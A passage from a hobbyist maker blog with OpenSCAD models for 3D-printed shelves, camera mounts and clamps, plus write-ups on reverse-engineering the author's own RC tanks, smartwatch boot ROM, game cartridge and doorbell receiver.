Lee@sodnpoo.com
@sodnpoo
sodnpoo.combirdcam | weathoscope
parametric paint shelf for clarke cwr50 metal tool board 10 Jun 2017

(thingiverse / customiser)

Simple 3D scad model for the Clarke CWR50 tool board - to hold small paint tubes. The shelves are angled back a little, so the tubes won't fall off. With some minor modifications I guess it would be useful for small tools etc as well.

The design is fully parametric, and you can specify the number of hook perforations wide you want the shelf to be (num), the size (paint_slot_width) and spacing (paint_slot_spacing) between the centres of the paint slots. The scad code will then squeeze in as many as possible.

Ours were printed to be six hook perforations wide; that's widest I can print on my Wanhao i3, and conveniently the longest rows on the tool board were 18 wide, so I could print three per row. The paint tubes also happen to be almost the same width as the perforations too, so there's six slots.

The hooks that came with the board slot into the ends of the shelves. They only go in half way though, so the hook can be shared between two adjacent shelves.

Scad code:

$fn = 0 + 0;
$fs = 0.1 + 0; // HQ cylinders
$fa = 4 + 0; // HQ spheres/hulls

// number of hooks wide
num = 6; // [1:18]

// width of the slots
paint_slot_width = 14.5;
// space between the slot centres
paint_slot_spacing = 31;

// space between the hook centres
hook_spacing = 31;

shelf_height = 6;
shelf_thickness = 2;
shelf_width = hook_spacing * num;

hook_width = 8.5;
hook_depth = 34.5;
hook_height = 1;

usable_shelf_width = shelf_width-(hook_width*1.5) -1;
usable_num_slots = round(usable_shelf_width/paint_slot_spacing);

num_slots = usable_num_slots;
shelf_centre = (shelf_width/2);
holes_width = (paint_slot_spacing * (num_slots-1)) ;
holes_centre = (shelf_centre - (holes_width/2));

module paint_slot(){
    hull(){
        cylinder(r=paint_slot_width/2, h=30);
            translate([0, hook_depth/4, 0])
                cylinder(r=paint_slot_width/2, h=30);
    }    
}

rotate([-90, 0, 0]){
//rotate([0, 0, 0]){

    difference(){
        cube([shelf_width, hook_depth, shelf_height]);

        //paint slots
        translate([holes_centre, 0, -10]){
            for(i=[0:num_slots-1]){
                translate([paint_slot_spacing*i, 0, 0])
                    paint_slot();
            }
        }

        //tilt neg
        rotate([-3.3, 0, 0]){
            translate([((hook_width*1.5)/2), 0-(1/2)-10, shelf_height])
                cube([shelf_width-(hook_width*1.5), hook_depth+1, shelf_height]);
            translate([((hook_width*1.5)/2), 0-(1/2)-10, 0-shelf_thickness ])
                cube([shelf_width-(hook_width*1.5), hook_depth+1, shelf_height]);
        }

        translate([0-(hook_width/2), 0-1, (shelf_height-hook_height)/2])
            cube([hook_width, hook_depth+(1*2), hook_height]);

        translate([shelf_width-(hook_width/2), 0-1, (shelf_height-hook_height)/2])
            cube([hook_width, hook_depth+(1*2), hook_height]);
    }
}
  

3d printing|scad|
picam mod for rspb camera feeder housing 12 May 2017

(thingiverse link)

This is a drop-in raspberry pi camera mount for the RSPB's camera feeder housing. It uses the same screw and screw holes the supplied bracket uses, no modifications are required to the housing. The angle of the 'head' is adjustable, using a bolt and nut from Mike Mattala's nut job.

The camera board is attached using the screws used to hold the lense mount; they are simply removed, then fed through the back of the head, before going through the board and into the lense mount. The camera board I'm using is the Waveshare OV5647, although the scad file is easily adjusted to suit most boards. (The official rpi foundation camera boards might need a pair of small nuts and bolts as they come with a small, glued down, mobile phone-type lense mount.)

The raspberry pi is slotted into two arms at the rear. Power is provided via a LM2596 based buck converter board, sat on a +5v and a ground on the 40 pin header.

Scad code for the head - adjust 'lens_screw_space' as required:

$fn = 0;
$fs = 0.1; // HQ cylinders
$fa = 4; // HQ spheres/hulls

cam_w = 35;
cam_d = 35;

lens_screw_space = 20;
//lens_screw_space = 18;

plate_w = cam_w;
plate_d = cam_d;
plate_h = 0.5;

screw_hole = 2;
screw_head = 4;
screw_flange = 1;
screw_h = 10 + 0.1;

lid_w = 35;
lid_d = 10;
lid_h = 1;
lid_z = 10;

tilthole = 5;

module screw(){
    cylinder(r=screw_head/2, h=screw_h);
    translate([0, 0, 0-2])
        cylinder(r=screw_hole/2, h=screw_h);    
}

module screws(){
    translate([cam_w/2, cam_d/2, screw_flange]){
        translate([lens_screw_space/2, 0, 0])
            screw();

        translate([0-(lens_screw_space/2), 0, 0])
            screw();
    }    
}

module tilt(){
    rotate([0, 90, 0])
        translate([0-(lid_z/2), plate_d/2, 0-(((cam_w*1.2)-plate_w)/2)])
            cylinder(r=tilthole/2, h=cam_w*1.2);    
}

module body(){
    hull(){
        cube([plate_w, plate_d, plate_h]);
        
        translate([(cam_w-lid_w)/2, (cam_d-lid_d)/2, lid_z-1])
            cube([lid_w, lid_d, lid_h]);
    }    
}

difference(){
    body();
    
    tilt();
    screws();
}
  

Scad code for the base - if you find that the screw holes in the feeder are off centre (mine were), you can adjust 'h_offset' to shift the bracket left or right:

$fn = 0;
$fs = 0.1; // HQ cylinders
$fa = 4; // HQ spheres/hulls

block_w = 35;
block_h = 25;

slot_base_extra_d = 26;

base_w = 55;
//base_d = 40;
base_d = 40 + 26;
base_h = 5;

bracket_h = 36;
bracket_d = 10;
bracket_w = block_w + (2 * 6.5);

tilthole = 5;
tilthole_l = base_w;

mount_hole_space = 40;
mount_hole_from_edge = (base_w - mount_hole_space ) /2;
mount_hole_screw_head = 10;
mount_hole_screw = 5;
mount_hole_from_end = 15;

h_offset = 0; //offet the bracket, if the holes are off centre

slot_w = 56.5;
slot_d = 1.5;
slot_h = 85;

holder_w = slot_w + 4;
holder_d = slot_d + 4;
holder_h = 26;

bottom_h = 5;

chopout_w = slot_w - 2;
chopout_d = holder_d * 2;
chopout_h = holder_h + 0.1;

module pislot(){
    difference(){
        cube([holder_w, holder_d, holder_h+bottom_h]);

        translate([(holder_w-slot_w)/2, (holder_d-slot_d)/2, bottom_h])
            cube([slot_w, slot_d, slot_h]);

        translate([(holder_w-chopout_w)/2, (holder_d-chopout_d)/2, bottom_h])
            cube([chopout_w, chopout_d, chopout_h]);
    }
}

module mount_hole(){
    translate([0, 0, 1.5])
        cylinder(h=100, r=mount_hole_screw_head/2);
    translate([0, 0, -1])
        cylinder(h=100, r=mount_hole_screw/2);    
}

module mount_holes(){
    translate([0, base_d-mount_hole_from_end, 0]){
        translate([mount_hole_from_edge, 0, 0])
            mount_hole();
        
        translate([base_w-mount_hole_from_edge, 0, 0])
            mount_hole();        
    }
}

module base(){
    difference(){
        cube([base_w, base_d, base_h]);
        mount_holes();
    }    
}

module tilt_bracket(){
    difference(){
        translate([((base_w-bracket_w)/2)+h_offset, 0, 0])
            cube([bracket_w, bracket_d, bracket_h]);

        translate([((base_w-block_w)/2)+h_offset, 0-(block_w/4), bracket_h-block_h+0.1])
            cube([block_w, block_w, block_h]);
            
        rotate([0, 90, 0])
            translate([0-bracket_h+tilthole, bracket_d/2, 0])
                cylinder(r=tilthole/2, h=tilthole_l);
    }    
}

translate([(holder_w-base_w)/2, 0, 0]){
    base();
    translate([0, slot_base_extra_d, 0])
        tilt_bracket();
}
pislot();
  

3d printing|scad|
wanhao small spoolholder 27 Nov 2016

I needed a smaller spool holder for a 500 gram spool of filament, so I've hacked together this. The hard work generating the screw thread is done by aubenc's polyScrewThread.scad.

It uses the same M30 nuts the stock Wanhao spool holder uses.

Printed vertically, 40% in-fill seems to be strong enough.

$fn = 0;
$fs = 0.1; // HQ cylinders
$fa = 4; // HQ spheres/hulls

include <polyScrewThread.scad>

PI=3.141592;

fat_diam = 30;
fat_r = fat_diam/2;
stop_length = 5;
screw_length = 20;

poke_length = 80;
poke_diam = 10;
poke_r = poke_diam/2;
poke_end = 2;
poke_overhang = 2;

screw_thread(fat_diam, 1.7, 30, screw_length, PI/2, 0);

translate([0, 0, screw_length])
    cylinder(stop_length, fat_r, fat_r);

translate([0, 0, screw_length+stop_length]){
    cylinder(poke_length, poke_r, poke_r);
    
    cylinder(stop_length, fat_r, poke_r);
}

translate([0, 0, screw_length+stop_length+poke_length]){
    cylinder(poke_end, poke_r, poke_r+poke_overhang);

    translate([0, 0, poke_end])
        cylinder(poke_end, poke_r+poke_overhang, poke_r);
}
  

wanhao duplicator i3|scad|
wanhao aluminum extruder adaptor 30 Oct 2016

After a fair amount of printing, the extruder in our cheap Wanhao Duplicator i3 started to fail. The plastic arm and spring were no longer applying enough pressure on the filament and was unable to grip it properly. I tried printing an adjustable arm but I had some issues with the grooved bearing not turning freely, which was causing the motor to slip.

While browsing through extruder parts on Amazon, I noticed this cheap aluminum extruder. I wasn't properly paying attention when I ordered it and I didn't notice that the cooling block on the printer would be conflicting with the new extruder. Unfortunately the block on the new extruder has a threaded hole, rather than the grub screw used on the Wanhao and so I couldn't easily change the block over either.

After a bit of messing in openscad, I've created a simple adaptor - it's real job is just to stop the spring from sliding out.

The new arm - along with the higher quality grooved bearing that came with it - works well and print quality has improved noticeably.

$fn = 0;
$fs = 0.1; // HQ cylinders
$fa = 4; // HQ spheres/hulls


block_width = 15 - 0.5;
block_height = 10;

arm_width = 12;

plate_depth = 42;
plate_height = 42;
plate_width = block_width - arm_width;

rotor_hole = 23;

motor_screw_hole = 3.5 + 0.5;
motor_screw_head_depth = 2 - 0.5;
motor_screw_head = 6;
motor_screw_hole_spacing = 31.5;

spring_holder_offset = 9;
spring_holder_offset2 = 1.5;
spring_holder_height = 10;
spring_holder_depth = spring_holder_offset * 2;
spring_holder_bottom = 2;

spring = 7.5 + 0.5;
spring_length = 19;

difference(){
    union(){
        cube([plate_depth, plate_width, plate_height], center=true);

        translate([0+(plate_depth/2)-(spring_holder_offset), 0-(block_width/2)+(plate_width/2), 0-(plate_height/2)+(block_height)+(spring_holder_height/2)]){

            difference(){
                cube([spring_holder_depth, block_width, spring_holder_height], center=true);
                translate([0, 0-spring_holder_offset2, 0-(spring_holder_height/2)+spring_holder_bottom])
                    rotate([0, -5, 0])
                        cylinder(spring_length, spring/2, spring/2);
            }
        }
    }
    rotate([90, 0, 0]){
        cylinder(100, rotor_hole/2, rotor_hole/2, center=true);

        translate([motor_screw_hole_spacing/2, motor_screw_hole_spacing/2, 0]){
            cylinder(100, motor_screw_hole/2, motor_screw_hole/2, center=true);
            
            translate([ 0, 0, 0+ (plate_width/2) + (10/2) - motor_screw_head_depth ])
                cylinder(10, motor_screw_head/2, motor_screw_head/2, center=true);
        }
        
        translate([0-(motor_screw_hole_spacing/2), motor_screw_hole_spacing/2, 0])
            cylinder(100, motor_screw_hole/2, motor_screw_hole/2, center=true);

    }
    
    translate([0, 0, 0-(plate_height/2)])
        cube([plate_depth*2, 50, block_height*2], center=true);
}
  

wanhao duplicator i3|scad|
battletanks reverse engineering 30 Oct 2016

We've been watching the repeats of the old robot wars for a while now and with the start of the new series we thought we'd quite like to have some small scale wars at home. While I'd like to build a pair of robots from scratch, this would likely take more time than I have available. So I took my fingers to amazon to look for a couple of RC vehicles that had more than just the driving controls, so the extra functions could be utilised to drive weapons/flippers etc.

After a bit of searching I found a double pack of "battle tanks". They have the expected forwards, backwards and rotate left/right drive controls, but also have rotating turrets and some other buttons (fire, fx1, fx2, demo and on/off). Out-of-the-box the game is that each tank has three lives and has to shoot the other - they have a IR LED and receiver mounted on the turret (you can see them on the Panzer). The tanks also produce a bunch of sound effects to accompany the game.

Taking a look at the board inside one of the tanks, you can see that it's primarily made up of four ICs: the first one implements the radio receiver and the majority of the game (red); it's connected directly to the IR and RF electronics, as well as the three 'lives' LEDs on top of the turret. The red chip is connected to the second IC (blue) by a single data line (the two cyan pins on the red/blue chips). The blue chip generates both the sound effects (the speaker is directly connected to it - green wires: SP-/SP+) and the signals required to drive the two H-bridge ICs that control the tracks (green) and turret motors (yellow).

The data line is an one-way path from the red IC to the blue IC. Data is sent nine bits at a time, with a ~970us high/~240us low indicating the start (the zero line in the image above is at the high/low transition). The bits themselves are encoded as a either ~100us or ~240us pulses, with a ~100us gap between them. Assuming 100us is one and 240us is zero, the above example decodes as "100000100".

Some button presses translate to multiple bytes (above is the demo button). The red IC also tracks a certain amount of state: the fx2 button will cycle through three different set of bytes on each button press. Here's most of the mappings:

shoulderR   110000000
shoulderL   101000000

left        100010000
right       100001000
forward     100000100
backwards   100000010

demo        100000000 100000000
shoot+sound 100000000 000000010
fx1         000001100 100000000
byebye      000010010
on          000000100
off         000010010 100000000
fx2,1       000011010 100000000
fx2,2       000000110 100000000 000000110
fx2,3       000000010 100000000
  

From here it should be possible to remove the blue chip and then patch in a microcontroller. It should be able to detect the controls and then either drive the existing H-bridges, or additional servos, sensors etc. Removing the IR receiver and tying it's line should effectively disable the built-in game.

That's the plan anyway...

reverse engineering|battletanks|
mediatek mt6261 rom dumping via the vibration motor 7 Feb 2016

When I was pulling apart my u8plus smartwatch, I noted that there were five unlabelled pads, and that these were likely jtag:

Although I had reasonable results with jtagenum, nothing I tried worked with a real adaptor. I turned to google and rediscovered bunnie/xob's work on fernvale. Xob specifically mentions problems with jtag:

"In theory it has JTAG, which should let us attach a debugger and break the execution flow of the CPU. However, we never got it working, and it's unclear what steps must be taken, or even which set of pins to use."

Making the assumption that if bunnie/xob couldn't get the jtag working, I was unlikely to stumble on the required magic. Instead I pulled xob's repo to see what it would do with the mt6261. It was able to connect and extract a bunch of information:

Waiting for serial port to connect: .......
Setting serial port parameters... Ok
Initiating communication... Ok
Getting hardware version... 0xcb01
Getting chip ID... 0x6261
Getting boot config (low)... 0x0000
Getting boot config (high)... 0x0000
Getting hardware subcode... 0x8000
Getting hardware version (again)... 0xcb01
Getting chip firmware version... 0x0001
Getting security version... v 5
Enabling security (?!)... Ok
Reading ME... 00000000 ad 3f 07 fa 5e 5d 0b ad  10 71 b2 02 3d 5b e5 a3  |.?..^]...q..=[..|
Disabling WDT... Ok
Reading RTC Baseband Power Up (0xa0710000)... 0x0002
Reading RTC Power Key 1 (0xa0710050)... 0xa357
Reading RTC Power Key 2 (0xa0710054)... 0x67d2
Setting seconds... Ok
Disabling alarm IRQs... Ok
Disabling RTC IRQ interval... Ok
Enabling transfers from core to RTC... Ok
Reading RTC Baseband Power Up (0xa0710000)... 0x0002
Getting security configuration... None.
Getting PSRAM mapping... 0x0000
Disabling PSRAM -> ROM remapping... Ok
Checking PSRAM mapping... 0x0002
Checking on PSRAM mapping again... 0x0002
Updating PSRAM mapping again for some reason... Ok
Reading some fuses... 0x00000000
Enabling UART... 0x0000
  

This looked promising but it was hanging before it could attempt to upload the first stage. A lucky guess (based on reading *somewhere* that 6261 had less SRAM) at hacking the load address and the stack address let it continue though to:

Loading Fernly USB loader... checksum matches 0x1ec6 Ok
Executing Ferly USB loader... Ok
Waiting for Fernly USB loader banner...
  

At this point, it seems that we might have code running on the cpu; the watch was unresponsive until I pulled the USB - I was hoping I had at least crashed it..

The fernly usb loader is able to read/write memory pretty trivially, so I used it's functions to dump the 4MB of onboard flash (at 0x0). I also attempted to 'spray' all over the area where the uart blocks are on the 6260; with the bus pirate connected to the hardware uart, I thought I'd at least see something random spit out - no luck.

Having a dump of the flash to analyse is useful, but - from reading though the fernly information - a dump of the rom (at 0xfff00000) is where a lot of the hardware detail is hiding. I didn't expect that to be a problem, I expected the usb loader to just dump it out for me; instead it hung, turns out that area is protected from usb reads.

After quite a while of searching for something even remotely looking like a memory map for the 6261, so I could use the uart to dump the rom, I came across this post by jimparis. He'd been through the same process, and also hadn't been able to find the uarts. What he had found though was the address of the vibration motor; his code buzzed the motor on my watch too. Jim also says "So I'm sure that code is running now. What's next? Try to find and dump the internal ROM via the motor? :/"

When I read that, I vaguely remembered reading about how the original ipod rom was dumped and thought that I could do something similar with the vibrator motor. My set up is much simplier than the ipod - I de-soldered the motor and after a quick examination with the scope, I patched the line into an adruino.

The assembler for the mt6261-test image was modified to loop through a memory range, reading in a 32 bit value, and then generating a pulse for each bit. I'm lazy - I chose a short 'on' (1x call to delay()) for zero, a long 'on' (2x calls to delay(), so double the length), using 'off' to represent the gap between bits; e.g:

1 0 1 0 0 1 = off, long, off, short, off, long, off, short, off, short, off, long, off
  

The main assembler loop was debugged using qemu-arm+gdb (the image can be used as a qemu flash image) before attempting to upload to the real device. On the arduino side, a pin was monitored and the length of the pulses was tracked. If the pulse was over a certain threshold then a '1' is output, otherwise a '0'. To validate the method before dumping the unknown rom, I dumped the first part of the flash - this was compared with the data dumped using the usb loader and after a few tweaks they were bit perfect. A small bit of throwaway python was hacked together to reassemble the bits into a file:

s = """
10110000000000000000000001010111
01111111111111111111111101010111
01111111111111111111111101010111
01111111111111111111111101010111
01111111111111111111111101010111
01111111111111111111111101010111
01111111111111111111111101010111
01111111111111111111111101010111
...
00000000000000000000000000001110
00000000000001000000000000001110
00000000000000100000000000001110
00000000000001100000000000001110
00000000000000010000000000001110
00000000000011010000000000001110
"""

import struct

l = s.replace("\n\n", "\n").split('\n')

f = open('file.dat', 'wb')

for x in l:
  try:
    i = int(x[::-1], 2)
    f.write(struct.pack('I', i))
  except:
    pass

f.close()
  

This method wasn't fast - and I suspect that the pulse lengths could be reduced somewhat - but it was getting late, and in the end I just left it running overnight. When I got up, it had stopped before the end of the 64k - however when reassembled I had a 44k file, that seemed to contain the whole rom :) - here's some strings:

SF_BOOT
BRLYT
P0Dx
[USBDL] Waiting for start cmd over 1 min ...
p[USBDL] Waiting for host's response over 1 min ...
8pGpGpG
 -JD2
KXhA
p!LD4
ACM COMMU.
ACM DATA
ACM VIRTUALCOM
RC_INIT
JM	5X
EM15M
pRESV0 
H@xpG
xSxG"
pBOOTRETY
pBoot failed, reset ...
System halt!
DELY@ 
pUART0\
p1_ENJump to BL
MhhB
D^[a5d
pUART,\
p1_EN
xpGLI
EEEEMMM
 h,I
FILE_INFO
	HpG
SCTLCERT
"x1h
BBBB
I	h	
ZZZZ
HapG
`BA02
G G(G0G8G8
"#KBC{D
Invalid Operation
Divide By Zero
Overflow
Underflow
Inexact Result
: Heap memory corrupted
Unknown signal
X65dAl
Abnormal termination
Arithmetic exception: 
Illegal instruction
Interrupt received
Illegal address
Termination request
Stack overflow
Redirect: can't open: 
Out of heap memory
User-defined signal 1
User-defined signal 2
Pure virtual fn called
C++ library exception  
  

My fork of the fernly repo (including the arduino sketch) can be found here (mt6261 branch).

reverse engineering|u8plus|uart|
u8plus smart watch quick teardown and uart 9 Jan 2016

I noticed this smart watch on Amazon for the bargain price of £7.51, which was just too cheap to ignore - I didn't expect much but I was quite surprised at how functional it actually was... Anyhow, it was never expected to stay in once piece for long, and after an hour I took the screwdriver to it.

The back is covered by a aluminium plate that seemed to be sticky backed; it came off pretty easily. Underneath was four screws that released the back cover.

Inside, not much too see: a 200mAh, 3.7v battery, speaker, reset button (on the right) and what looks like a bluetooth antenna at the bottom.

With the battery and the speaker pulled back we can see a MediaTek MT6261 SoC and supporting components on the left. On the right are connections for the reset button (mounted on top of the usb connector), speaker and what I assume is a vibrator motor connected to 'VIB'. The touchscreen is also connected at the top, with it's controller mounted on the flat flex cable. The home/power button is tucked in on the far left.

The other side of the board, removed from the shell: the connections to the LCD are at the bottom, the power button on the right and some test pads sprinkled all over :)

The 'D+' and 'D-' and the proximity to the USB suggest the four pads on the left are for the USB; VBAT is positive side of the battery; PWR connects to the power/home button. Just slightly covered by the green label is RXD and TXD - which is likely our UART, and two others ('OW2' and 'OL0'). Above them next to PWR are five unlabelled pads - hopefully these are JTAG.

Wires connected to the GND, RXD and TXD, ready for the bus pirate. With the green label removed we can see that the two adjacent pads are actually labelled 'KROW2' and 'KCOL0'...? (I also added a scrap of sticky label to protect the LCD connections a little.)

And finally, the bootloader (@115200):

F1: 0000 0000
V0: 0000 0000 [0001]
00: 0000 0000
U0: 0000 0001 [0000]
G0: 0002 0000 [0000]
T0: 0000 00BB
Jump to BL




~~~ Welcome to MTK Bootloader V005 (since 2005) ~~~
**===================================================**


Bye bye bootloader, jump to=0x1000b5b0
  
reverse engineering|u8plus|uart|
totp two factor auth on tiger's wheel of fortune 24 Oct 2015

During our recent move we found an old Tiger "Wheel of Fortune" electronic game - most of my tools/toys were packed and/or moved at this point so I couldn't do much more than have a quick look inside. Last weekend I found myself wide-awake, very, very early and decided to take a closer look.

The game picks a category (phrase, person, thing etc) and an answer, then you and the cpu-controlled player two, take turns to spin the wheel and guess at the answer. There's a small number of categories built in, but more on the supplied cartridge ("Cartridge 1"). More cartridges were also available separately.

Probing the cart pins with my scope while pressing buttons, I could see that one line lit up when pressing the 'puzzle/cat./enter' button. More probing with my logic sniffer and bus pirate revealed it used a mode 1 SPI bus, with the LSB first. The read protocol is simple: a two byte address is sent by the game (via the MOSI line), and a one byte response is returned using MISO. For example here is the game (MOSI, third row) requesting the byte at 0x0 (two bytes: 0x0 and 0x0) and the cart returning 0xA5 (MISO, first row).

With the protocol worked out I wrote a python script to drive the bus pirate so I could sequentially read the cart's address space and dump the ROM. For dynamic analysis I also placed the dump in the progmem of an arduino mega, running a simple SPI loop that also logs all reads.

00000000  a5 01 12 3a 21 f7 1a e4  23 17 22 e9 12 39 1c 1e  |...:!...#."..9..|
00000010  16 03 01 40 06 fc 1b 25  25 25 25 25 25 25 25 25  |...@...%%%%%%%%%|
00000020  25 25 25 25 25 25 25 25  25 25 25 25 25 00 00 00  |%%%%%%%%%%%%%...|
00000030  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
  

And after running numerous tests, seems to be explained as:

0x00   0xA5 - magic byte, cart is ignored if this isn't here
0x01   0x01 - this seems to be the cart number; it's purpose is to detect if the
              cart has been changed and if so re-read 0x02(number of categories)
0x02   0x12 - number of categories (actually (n*2)-2))
0x03   0x3a - low byte of the address of the first category ('TITLE')
0x04   0x21 - high byte of the address of the first category
0x05   0xf7 - low byte of cat. 'PEOPLE'
0x06   0x1a - high byte of cat. 'PEOPLE'
0x07   0xe4 - low byte of cat. 'FICTIONAL CHARACTER'
0x08   0x23 - high byte of cat. 'FICTIONAL CHARACTER'
etc
  

The game cycles though each category in turn until it runs out, it then reads 0x101 and 0x102, which eventually causes it to jump back to the first entry again.

Both the categories and the answers are stored as 20 byte long arrays, that are copied to the 2x 10 char display. Initially it looked as if the chars might just be ascii, but only the vowels were decoding correctly, the other letters appeared to be missing a bit. Turns out that the vowels are 'special' and have to be bought when playing the game - the missing bit is the 'buy' flag. Interesting there's a second flag - that's not used in the game - that gives you that letter, for free, from the start:

    | |||| <<< 0 - 31 (1=A, 2=B etc)
 0001 0011
 ^^^ <<< flags
 ABC

 A = always show
 B = buy
 C = ?
  

There's only 32 valid characters (A-Z and a handful of symbols) and possibly a third flag ('C') - although this didn't seem to have any effect during testing.

The game picks an answer by taking the base address of the category and multiplying an internal counter by 20.

Having worked all of that out I wouldn't to be able to do something at least a little bit useful; as I could 1) detect a button press and 2) display text on the screen I thought a TOTP token might be interesting.

Because the game doesn't support numbers when reading from the cart - and a TOTP token is all numbers - I've had to come up with a 'creative' mapping (squint - it's almost right!):

0 -> O
1 -> I
2 -> Z
3 -> E
4 -> A
5 -> S
6 -> G
7 -> T
8 -> B
9 -> P
  

Here's a video showing it in action; the 'PRESS CAT FOR TOTP' message is the only answer in the embedded data, and all letters have the 'always show' bit set. The TOTP code is constantly calculated and written to a overlay variable that is read instead of the real address of the category when the button is pressed.

In a final design, the code would be installed on a ATTiny(+RTC) and placed inside a 3D printed cartridge shell, so it could quickly be swapped in when needed. An attacker looking to acquire the token would have an additional barrier of identifying the device amongst more obvious targets.

Code is hacked together from many SPI examples and Luca Dentella's TOTP code. It can be found here.

reverse engineering|tiger|wheel of fortune|
picam and generic ir array holder 27 Sept 2015

Before the new bird box goes up, it needs a camera so we can monitor any nesting activity. I like to use the raspberry pi and their camera boards; they're cheap, highly customisable (a full Linux is a very useful thing) and the rpi2 is fast enough to live stream the video.

The box has only a small hole for the birds to enter through and will be pretty dark most of the time. The 'NoIR' version on the picam is used along with a very cheap, generic, doughnut-shaped, CCTV IR LED array to deal with the lack of light. (The LED array should also provide a little extra warmth for the birds - and bugs.)

The scad code itself is split into three modules: slidein_picam(), irholder() and bracket(). Hopefully this will make things easy when I inevitably want to install another picam elsewhere. This is just the IR holder and slide in module, with just a picam installed:

The IR array is a very snug fit and is held in place by the small amount of springiness in the two left/right 'lobes' - to install mine I needed to slightly bend the lobes out, which gives it a good, solid grip.

Finally, the bracket is a simple 'L' shape, with a 45 degree counter sunk screw hole, and two short forks that fit into grooves already cut in the bird box (in the attached scad and stl I've set them to zero length as I'm imagining a flat surface is of more use to most people).

Scad file here.

STL file here.

3d printing|scad|
1 by one doorbell (sxd043) to gpio mod 16 Aug 2015

We've recently moved house and needed a new doorbell - as I mentioned previously, I'm often working with headphones on and can easily miss a delivery, so I need to be able to trigger a real-time alert to my phone. We chose one of the many, many "1 by one" wireless, 433MHz kits (the one with the big red button).

The simpliest solution seemed to be to use an RTL SDR dongle to sniff the 433MHz band, and then trigger the existing UDP 'latch' that the code on my phone is polling for. However - for whatever reason - my SDR dongle doesn't seem to see any 433MHz traffic. (It has spent the last year living in the shed so maybe it's not so good anymore...)

A second option was to use a cheap 433MHz receiver board I have, and an arduino to do the sniffing and triggering. This sounded feasible but also sounded like mostly software dev; I write a lot of code in the day job and decided that a hardware hack would be more interesting.

The PCB in the receiver is made up of four ICs:

Of these I can only find a datasheet for the TI LM4890 and a pin out diagram for the PT4303. The NT200M and the SXD043 appear to be undocumented. The board also has three buttons on the other side: learn, volume and a chime selector.

Probing the board with the scope revealed the overall design and exposed some of the power saving features (this is a battery powered receiver):

  1. The NT200M pulls the PT4303's CE line high briefly every second (minimising battery use by not running the receiver constantly)
  2. If the data sampled from the PT4303 has the learnt button code
  3. Trigger the SXD043 to start playing
  4. The SXD043 raises the LM4890's 'shutdown' line, enabling the amplifier for the duration of the audio playback (again minimising battery use by shutting down the amplifier when not playing anything)
The learn button is connected to the NT200M and when pressed, the NT200M enables the PT4303 for several seconds continuously while sampling for a new code. The volume and chime buttons are connect to the SXD043.

Based on this, two options are available: the line from the NT200M to the SXD043, essentially triggering on detection of the learnt code; or the line from the SXD043 to the LM4890's shutdown pin, triggering on any playback.

I decided to use to use the 'playback' line on the SXD043, just because it's easier to test - both the volume and chime buttons trigger playback (or I can ground the trigger line), whereas I'd need to press the doorbell - already attached to the front door frame - to test from the NT200M.

The line is fed through an NPN transistor to invert the signal, suitable to patch into the same old DG834v4's GPIO button I was using before.

Image of the transmitter board:

doorbell|reverse engineering|
parametric pole clamp 31 May 2015

(Update: Thingiverse customiser.)

I put this openscad design together to allow me to mount some of our wildlife cameras on the same pole that the bird feeders hang from. It's been through a few iterations but this final(?) version - printed with 50% infill - is able to take the weight of a fat pigeon on the other end of the 13mm x 500mm horizontal pole. (Image of early versions at the bottom of this post.)

The code is highly parametric and should be suitable for a wide range of pole, bolt and nut (either square or hex, with captive holes) sizes. The hinge code is taken from benjaminedwardmorgan's parametric hinge. It opens to ~270 degrees; the number of hinges will be calculated automatically based on the height.

The code to generate the horizontal pole and tabs (pole_with_tabs() and pole_with_tabs_neg()) has been split into it's own modules so I can easily attach other objects to the same pole - it's my first attempt at a non-trivial openscad module and if I'm honest, usage of it feels a little clunky; I'm sure there must be a better way to deal with removing the negative image.

The available parameters are:

Expect to tweak your tolerences a little if you need things to be tightly held.

$fn = 0;

//$fs = 0.1; // HQ cylinders
//$fa = 4; // HQ spheres/hulls
render_hinges = true;

//$fs = 2; // default
//$fa = 12; // default
//render_hinges = false;

clamp_height = 30;
pole_diam = 25 +0.5;
screw_hole_diam = 4.5;
screw_recess_diam = 9;
nut_type = 4; // 4=square, 6=hex
horiz_pole_diam = 13 +0.2;

hinged_pole_clamp(
  height=clamp_height,
  hole_diam=screw_hole_diam,
  hole_recess_diam=screw_recess_diam,
  horiz_diam=horiz_pole_diam,
  nut_type=nut_type,
  pole_diam=pole_diam);


module hinged_pole_clamp(
    height,
    hole_diam,
    pole_diam,
    hole_recess_diam,
    horiz_diam,
    horiz_tab_angle=40,
    horiz_thick=3,
    nut_type=6
){
  hinge_fill_x = 23.6; //hardcoded to fit the hinge footprint
  hinge_fill_y = 20;
  hinge_fill_z = height;
  hole_r = hole_diam/2;
  pole_r = pole_diam/2;
  hole_recess_r = hole_recess_diam/2;

  hpole_r = horiz_diam/2;

  half_space = 0.5; // gap between the two halfs
  half_width = pole_diam * 1.2;
  half_depth = pole_diam * 0.6;

  flap_width = 1;
  flap_height = hole_recess_diam*1.5;

  hinge_r1 = 5;
  num_hinges = clamp_height/(hinge_r1*2) - 1;

  difference (){

    union(){


      //one half
      hull(){
        translate([
            hinge_fill_x,
            0-(half_depth-((hinge_fill_y+half_space)/2)),
            0])
            cube(size=[half_width*0.8, half_depth, hinge_fill_z]);

        translate([
            hinge_fill_x+(half_width*0.8),
            (0-(half_depth-((hinge_fill_y+half_space)/2)))+half_depth-flap_width,
            0])
            cube(size=[
              (half_width*0.2)+(hole_recess_diam*1.5),
              flap_width,
              hinge_fill_z
            ]);

      }

      difference(){
        hull(){
          translate([
            hinge_fill_x,
            0-(half_depth-((hinge_fill_y+half_space)/2)),
            0])
              cube(size=[half_width*0.8, half_depth, hinge_fill_z]);

          translate([
              hinge_fill_x,
              0-(pole_diam/2)+(horiz_thick)-(hpole_r),
              height/2])
            pole_with_tabs_neg(
              width=half_width*0.8,
              pole_r=hpole_r,
              pole_thick=horiz_thick,
              hole_diam=screw_hole_diam,
              tab=false,
              tab_angle=horiz_tab_angle);
        }

        translate([
            hinge_fill_x-(pole_diam*0.1),
            0-(pole_diam/2)+(horiz_thick)-(hpole_r),
            height/2])
          pole_with_tabs_neg(
            width=half_width*0.9,
            pole_r=hpole_r,
            pole_thick=horiz_thick,
            hole_diam=screw_hole_diam,
            tab=true,
            tab_angle=horiz_tab_angle);

      }
      //hinge fill
      translate([0, 0, 0])
          cube(size=[hinge_fill_x, hinge_fill_y+half_space, hinge_fill_z]);

      //the other half
      hull(){
        translate([
          hinge_fill_x, (0-(half_depth-((hinge_fill_y+half_space)/2)))+half_depth+half_space,
          0
        ])
          cube(size=[half_width*0.8, half_depth, hinge_fill_z]);

        translate([
          hinge_fill_x+(half_width*0.8),
